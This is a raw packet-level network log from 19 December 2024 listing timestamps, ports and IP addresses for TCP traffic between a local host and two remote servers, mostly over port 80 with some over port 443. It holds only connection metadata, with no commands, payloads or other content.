Dec 19, 2024 03:09:35.704844952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.704952002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.705002069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.705046892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.705966949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.705977917 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.706023932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.706880093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.706933022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.706968069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.707015038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.707942009 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.707993031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.708029032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.708074093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.708957911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.709012032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.709058046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.709105015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.710026026 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.710077047 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.710208893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.710258007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.711260080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.711308956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.711375952 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.711421967 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.712639093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.712691069 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.712733984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.712785006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.713857889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.713884115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.713926077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.713939905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.715015888 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.715065956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.715137005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.715194941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.715950966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.716007948 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.716059923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.716109037 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.716648102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.716658115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.716694117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.717294931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.717307091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.717340946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.717364073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.718036890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.718158960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.718209028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.719182968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.719247103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.719254971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.719300032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.720108986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.720155954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.720288992 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.720335007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.721115112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.721246958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.721301079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.721339941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.722064018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.722121000 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.722234964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.722292900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.722847939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.722898960 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.722975969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.723068953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.724061966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.724091053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.724109888 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.724132061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.724689007 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:35.724766970 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:35.725454092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.725506067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.725526094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.725929976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.726193905 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:35.726207972 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:35.726608992 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:35.726639032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.726720095 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.726968050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.727016926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.727804899 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:35.727948904 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:35.727962971 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.727977037 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:35.728015900 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.728033066 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:35.728105068 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.728305101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.729037046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.729176044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.729226112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.730154991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.730216026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.730247974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.730289936 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.731029987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.731081009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.731127977 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.731168985 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.731908083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.731959105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.731991053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.732029915 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.732656002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.732744932 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.732779980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.732848883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.733479023 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.733541012 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.733609915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.733724117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.734107018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.734163046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.734209061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.734249115 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.734951973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.734961987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.735004902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.735786915 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.735835075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.735909939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.735964060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.736872911 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.736933947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.736984968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.737703085 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.737895012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.737905979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.737945080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.738842964 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.738898039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.739002943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.739048958 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.739969015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.739979029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.740044117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.741072893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.741125107 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.741159916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.741247892 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.742060900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.742120028 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.742155075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.742197990 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.743010044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.743065119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.743072987 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.743108988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.744066954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.744119883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.744128942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.744157076 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.744829893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.744891882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.744954109 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.745006084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.745820045 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.745862007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.745889902 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.745964050 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.775335073 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:35.886344910 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.886473894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.886578083 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.886892080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.886946917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.887021065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.887072086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.887891054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.887940884 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.888117075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.888163090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.888914108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.888926029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.888962984 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.889861107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.889915943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.889950991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.890827894 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.890882969 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.890949011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.890996933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.891843081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.891896009 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.891925097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.891972065 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.892836094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.892885923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.893030882 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.893074036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.893845081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.893893003 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.893978119 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.894020081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.894921064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.894932985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.894978046 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.895857096 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.895912886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.895937920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.895996094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.896919012 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.896928072 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.896965981 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.897003889 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.897881985 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.897913933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.897962093 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.898802042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.898850918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.899002075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.899056911 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.899871111 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.899920940 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.899926901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.899964094 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.900795937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.900844097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.900954008 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.901015043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.901890993 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.902024984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.902082920 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.902869940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.902920961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.903052092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.903099060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.903848886 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.903922081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.903934956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.903964996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.904962063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.904999018 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.905008078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.905045986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.905966043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.905976057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.906006098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.906019926 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.906904936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.907006979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.907054901 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.907850981 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.908011913 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.908056021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.908883095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.908927917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.908986092 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.909035921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.909949064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.909996033 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.910017967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.910060883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.910938978 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.911097050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.911142111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.912066936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.912121058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.912247896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.912322998 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.913198948 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.913247108 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.913295984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.913342953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.914128065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.914139032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.914191961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.915060997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.915072918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.915118933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.915867090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.915915966 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.916013956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.916062117 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.916920900 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.916965961 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.916990042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.917037010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.917828083 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.917927027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.917974949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.918869972 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.918880939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.918919086 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.918941975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.919848919 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.920097113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.920145988 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.920867920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.920917034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.920984983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.921031952 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.921781063 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.921828032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.921902895 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.921947002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.922792912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.922894955 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.922945023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.923785925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.923852921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.923908949 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.923953056 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.924802065 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.924850941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.924990892 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.925038099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.925838947 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.925888062 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.925926924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.925970078 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.926882029 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.926892996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.926938057 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.927795887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.927844048 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.927877903 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.927923918 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.928858042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.928900957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.928905964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.928940058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.929801941 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.929924965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.929981947 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.930798054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.930845022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.930906057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:35.930948973 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:35.931853056 CET	80	49885	31.41.244.11	192.168.2.5
